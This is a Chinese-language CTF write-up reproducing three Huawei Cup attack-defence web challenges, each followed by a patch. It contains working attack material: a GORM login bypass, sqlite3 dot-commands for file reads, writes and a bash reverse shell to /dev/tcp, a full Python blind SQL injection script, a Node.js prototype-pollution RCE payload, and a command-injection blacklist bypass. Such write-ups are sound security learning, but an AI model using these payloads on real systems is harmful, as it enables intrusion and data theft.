华为杯ADWP赛后复现部分wp
2024-08-07 00:18:15

Preface

2023年11月11日晚,光棍节打CTF受不了一点

队友去打线下的华为杯了😭留我一人受强网拟态的煎熬

看了一下这次ADWP的题目还挺有意思的,复现一波

📌注:笔者没有参加线下的华为杯,以下均基于题目附件和笔者自己的猜想,可能会与实际环境有所区别。

ezgo

一个简单的登录系统,admin用户可以获取sqlite数据库的交互权限

用户表结构如下,采用gorm实现对象关系映射

1
2
3
4
5
6
7
type User struct {
gorm.Model
Id int `gorm:"primaryKey"`
UserName string
Password string
Token string
}

系统有三个路由,分别是注册登录数据库交互

想要得到数据库的交互权限,需要获取admin的token

先看注册和登录的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
func register(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")

user := &User{}
db.Where("user_name", username).First(user)
if user.UserName == username {
c.JSON(http.StatusInternalServerError, gin.H{"msg": "用户名已被注册"})
return
}

token := randomUUID()
db.Create(&User{
UserName: username,
Password: password,
Token: token,
})
c.JSON(http.StatusOK, gin.H{"msg": "注册成功", "token": token})
}

注册首先判断数据库中是否已经有username这个用户,后会给新用户生成值为uuid的token

1
2
3
4
5
6
7
8
9
10
11
12
13
func login(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")
token := c.PostForm("token")

user := &User{}
err := db.Where(&User{UserName: username, Password: password, Token: token}).First(&user).Error
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"msg": "登录失败"})
return
}
c.JSON(http.StatusOK, gin.H{"msg": "登录成功", "user": user})
}

Gorm的Where函数有一个特性,往其传入Model结构体来构造查询的条件语句时,若对象的属性为空值,则生成SQL语句的时候不会为其生成条件语句。紧跟的First函数会为SQL语句加上LIMIT 1

所以登录接口处若传token和password为空字符串,得到的查询SQL语句将会是:

1
2
3
SELECT * FROM `user`
WHERE `username`='xxx'
LIMIT 1

这样就能获取admin的token了。

Attack

sqlite是一个轻量级的零配置数据库,有几个利用点

  • ATTACH DATABASE能用来写webshell,但也只局限于PHP这种灵活的脚本语言
  • load_extension可以加载恶意动态库,但目标环境也没得文件上传

flag应该就在数据库中或在系统文件里。

sqlite_master表是SQLite的系统表,是为每个SQLite数据库自动创建的特殊表,类似MySQL里的information_schema数据库

sqlite_master有几个重要的字段

  • type:表或索引,值为tableindex
  • name:表名或索引名
  • sql:创建表使用的sql语句

因此SQL注入中我们查询sqlite_mastersql字段就能知道数据库中的表结构

image-20231112145149789

发现这个gorm框架还挺方便,直接帮你生成表结构

image-20231112142510360

image-20231112142649924

password和token传空字符串,拿到admin的token(实际上这里不传这两个参数,go处理时默认就当成空字符串)

image-20231112142829402

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
func sqlClient(c *gin.Context) {
clientBody := ClientBody{}
c.BindJSON(&clientBody)

user := &User{}
db.Where("user_name = ?", "admin").First(user)
result := ""
if clientBody.Token == user.Token {
cmd := exec.Command("sqlite3")

stdin, err := cmd.StdinPipe()
if err != nil {
fmt.Println(err)
return
}

stdout, err := cmd.StdoutPipe()
if err != nil {
fmt.Println(err)
return
}

stderr, err := cmd.StderrPipe()
if err != nil {
fmt.Println(err)
return
}

err = cmd.Start()
if err != nil {
fmt.Println(err)
return
}

go func() {
scanner := bufio.NewScanner(stdout)
for scanner.Scan() {
fmt.Println(scanner.Text())
}
}()

go func() {
scanner := bufio.NewScanner(stderr)
for scanner.Scan() {
fmt.Println(scanner.Text())
result += scanner.Text()
}
}()

for _, sql := range clientBody.Sql {
fmt.Fprintln(stdin, sql)
}

err = cmd.Wait()
if err != nil {
fmt.Println(err)
return // 👈 error detected then exit😭
}
}
c.JSON(http.StatusOK, gin.H{"msg": "交互成功", "token": clientBody.Token, "result": result})
}

接着client接口的sqlite3交互,它是执行了sqlite3命令,将我们传入的sql数组作为标准输入,然而交互的标准输出只在控制台打印,没有返回给客户端。代码中看似标准错误返回给了客户端,但实际上一旦检测到报错就退出了。

得益于启动了一个sqlite3交互进程,我们可以利用其自带的一些命令,打开新天地了。

.read .import 读文件

.read FILE Read input from FILE or command output

若报错可以回显,可以直接用.read读文件

image-20231112160949613

.import FILE TABLE Import data from FILE into TABLE

可以将文件内容读入表中

image-20231112163450828

.output 任意文件写

.show 查看当前设置

image-20231112161303304

发现一个设置项为output: stdout

.help查找帮助文档发现有一个命令可以修改output

.output ?FILE? Send output to FILE or stdout if FILE is omitted

修改输出到指定文件中

image-20231112163038519

image-20231112163136538

.load FILE ?ENTRY? Load an extension library

完成文件写后,配合.load可以加载恶意动态链接库

特别的,.output这里的FILE也可以是stderr

对于这道题来说,把输出重定向到标准错误,正好能实现回显,而不会抛出错误,err = cmd.Wait()err判断我猜测可能是判断进程退出的状态码,比如exit(0)是正常退出,而程序抛出异常是其他状态码。

image-20231112165353256

成功回显!(这里用.mode column美化一下输出。。太长了也没美化多少)

注意这里要主动.quit,否则会一直等待子进程退出,而子进程还在等待输入,死循环了。

.shell 命令执行

这个命令也太过于强大了

.shell CMD ARGS... Run CMD ARGS… in a system shell

.system CMD ARGS... Run CMD ARGS… in a system shell

image-20231112164124316

配合上面修改outputstderr,直接执行系统命令。或者若目标环境出网直接弹shell了。

sqlite> .shell bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"

sqlite报错盲注

假设这题没有执行结果的回显,可以考虑报错盲注。(若flag在系统文件里,首先第一步也是通过.load把文件导入表中。)

翻一下sqlite的文档,随便找了一个json函数

json函数验证由参数指定的字符串,并将其转为最小化的 JSON 字符串(删除了多余的空白)。

试着传入不合法的json字符串

image-20231112170339313

配合IIF进行条件判断

image-20231112170455361

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests

url = "http://127.0.0.1:8088"
token = ''


def getToken():
login_data = {
'username': 'admin',
'password': '',
'token': ''
}
r = requests.post(url + '/login', data=login_data).json()
global token
token = r['user']['Token']


def blind():
ans = ''
for i in range(1, 1000):
low = 9
high = 128
mid = (low + high) // 2
while low < high:
# sql = "SELECT IIF(UNICODE(substr((SELECT GROUP_CONCAT(sql) FROM sqlite_master WHERE type = 'table' AND tbl_name NOT like 'sqlite_%%'), %s, 1)) < %s, 1, json('{'));" \
# % (str(i), str(mid))
sql = "SELECT IIF(UNICODE(substr((SELECT GROUP_CONCAT(res) FROM flag), %s, 1)) < %s, 1, json('{'));" \
% (str(i), str(mid))
payload = {
'token': token,
'sql': ['.open gorm.db', sql, '.quit']
}
r = requests.post(url + '/client', json=payload).text
if r != '':
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 9 or mid >= 127:
break
ans += chr(mid - 1)
print(ans)


if __name__ == '__main__':
print('=========Error Based Blind Injection start=========')
getToken()
blind()

image-20231112173602769

image-20231112173653223

Patch

防御很简单,判断passwordtoken是否为空字符串即可

image-20231112174533014

imgupl0ad

能够上传文件到public/upload下,文件名随机,后缀为jpg

然后就莫名其妙merge了?

1
2
3
4
5
6
7
8
9
10
11
12
const merge = (target, source) => {
for (let key in source) {
if (key == "__proto__") {
throw new Error('Param invalid')
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

image-20231112182041097

还有一个删除图片的功能,是使用系统命令去删除的

image-20231112182134422

再看一眼Node的版本:18

直接打原生的原型链污染RCE

Attack

1
2
3
4
5
6
7
{
"__proto__": {
"shell": "/proc/self/exe",
"argv0": "console.log(require('child_process').execSync('cp /flag /app/public/flag').toString())//",
"NODE_OPTIONS": "--require /proc/self/cmdline"
}
}

image-20231112191041571

接着访问/rm触发命令

image-20231112190956658

Patch

禁掉原型链的关键字即可

1
2
3
4
5
6
7
8
9
10
11
12
const merge = (target, source) => {
for (let key in source) {
if (key == "__proto__" || key == "constructor" || key == "prototype") {
throw new Error('Param invalid')
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

彩蛋:此处为copilot给的提示,太强大了吧😍

image-20231112191459123

Oddly_Sordid_Command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package figlet

import (
"github.com/flamego/flamego"
"os/exec"
"strings"
"fmt"
)

func Figlet(ctx flamego.Context) string {
if ctx.RemoteAddr() != "127.0.0.1" {
return "You are not allowed to access this page"
}
str := ctx.Query("str")
if !Waf(str) {
str = "Give up"
}
cmd, _ := exec.Command("sh", "-c", "figlet "+str).Output()
println(string(cmd))
return string(cmd)
}

func Waf(str string) bool {
blacklist := []string{"&", ">", "<", "'", "+", "`", "'", "\"", "(", ")", "[", "]", "*", "\\", "fffff111114g", "cat", "tac", "cd", "ls", "echo", "dir"}
for _, v := range blacklist {
if strings.Contains(str, v) {
return false
}
}
return true
}

套着Go外壳的命令注入

Attack

ip的判断可以用X-Forwarded-For绕过

figlet?str=| nl /fffff111114?

image-20231112194631748

Patch

修复的话,单靠黑名单真怕又出啥非预期。

命令注入的核心问题也是数据没有和命令隔离开来,在这里体现在执行sh -c后面的字符串直接把数据和命令拼接了。

image-20231112195849963

sh -c去掉就行,效果如下

image-20231112195926441

Prev
2024-08-07 00:18:15
Next